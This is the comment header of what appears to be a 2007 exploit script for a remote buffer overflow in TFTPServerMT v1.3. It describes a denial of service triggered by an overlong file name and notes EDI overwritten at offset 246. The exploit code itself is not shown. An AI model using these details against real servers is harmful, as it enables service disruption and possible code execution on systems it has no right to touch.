#    Name : TFTPServerMT v 1.3 Remote Buffer Overflow Dos Exploit
#
#   Author: Umesh Wanve
#
#     Date: 01-03-2007
#
#   Desc: This is latest version of TFTP server. EDI gets overwritten at 246. So code execution may be possible
#         Someone can better write it. Sending a long file name on the vulnerable server can crash the server.
